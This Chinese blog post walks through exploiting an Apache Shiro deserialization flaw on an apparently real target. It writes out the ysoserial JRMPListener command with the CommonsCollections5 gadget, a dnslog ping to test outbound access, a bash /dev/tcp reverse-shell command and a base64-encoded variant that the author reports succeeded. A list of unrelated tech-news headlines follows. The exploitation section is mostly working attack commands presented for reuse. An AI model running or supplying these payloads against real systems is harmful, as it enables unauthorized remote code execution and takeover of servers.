使用JRMPClient模块进行测试

前言
最近在测试中遇到一些shiro反序列化不能利用的情况 找到key 无法找到利用链,但是发现存在jrmpclient可用的情况。
换一种工具尝试
发现 jrmpclient 可用, 尝试使用 jrmpclient 进行测试,最终这个目标也没有执行成功所以换了一个目标进行的尝试,仅记录jrmpclient 利用方式。
使用jrmpclient模块进行测试
找到一个同样存在shiro反序列的目标。
同样find: jrmpclient can be use。
搭建jrmpclient 监听服务
首先需要搭建 jrmpclient 使用ysoserial.jar 工具搭建服务,下载地址:https://github.com/frohoff/ysoserial
使用dnslog进行检测
在不确定目标是否通外网的情况下 先使用dnslog进行检测 获取一个新的域名 :w3dh1h.dnslog.cn
vps上开启jrmplistener
在vps上搭建服务命令
java -cp ysoserial-all.jar ysoserial.exploit.jrmplistener 6789 commonscollections5 ping w3dh1h.dnslog.cn
shiro反序列利用工具中选择jrmpclient,然后输入vps上搭建服务的地址:
jrmplistener 收到返回信息
dnslog上收到目标的ping 命令信息 说明目标服务器通外网
执行反弹命令
执行反弹命令 bash -i >& /dev/tcp/xxxxxx/8888 0>&1
没有收到反弹链接
将命令进行base64编码 java -cp ysoserial-all.jar ysoserial.exploit.jrmplistener 6789 commonscollections5 bash -c {echo,ymfzacatasa+jiavzgv2l3rjcc94ec54ec54ec54ehgvodg4ocawpiyx}|{base64,-d}|{bash,-i}
成功收到反弹链接


物联网技术在工业自动化智能工厂中的作用
iOS10.2越狱来了,越么?
奇瑞新能源旗下重磅车型——10万元级纯电SUV全新瑞虎e焕新上市
索尼正式发布了旗下新机Xperia 10 Plus采用了21:9带鱼屏设计
常用算法的分类以及加密算法的选用
使用JRMPClient模块进行测试
触摸屏与施耐德PLC之间MODBUS无线通讯
鱼和熊掌可兼得!全新Air Book评测:超高性价比的2K屏轻薄本
解答与PCB“过孔”有关的疑难问题
MAX16834构成的HB-LED驱动器电路
Imagination的桌面GPU来了:这次要攻坚Windows游戏市场
基于Nios软CPU内核的FPGA非线性校正方案
你升级了吗?iOS 12更新率已超75%:比iOS 11提前三周
氩弧焊的工作原理_氩弧焊的优点和缺点
下半年三家顶级旗舰之争!三星Note8 VS iPhone8 VS 华为Mate10,谁才是龙头老大?
耳机跑步容易掉怎么办?推荐这几款稳固舒适的运动耳机
台积电的3nm工艺将在2022年下半年大规模量产
多次脉冲智能电缆故障测试仪的故障波形判断方法
码相机遥控功能
如何配置DS3184中的时钟速率适配器(CLAD)功能